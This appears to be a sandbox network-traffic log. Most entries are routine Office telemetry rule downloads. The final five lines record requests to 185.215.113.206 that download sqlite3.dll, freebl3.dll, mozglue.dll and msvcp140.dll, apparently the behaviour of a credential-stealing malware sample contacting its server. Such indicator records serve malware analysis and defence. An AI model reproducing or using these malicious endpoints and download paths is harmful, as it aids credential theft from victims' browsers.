Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
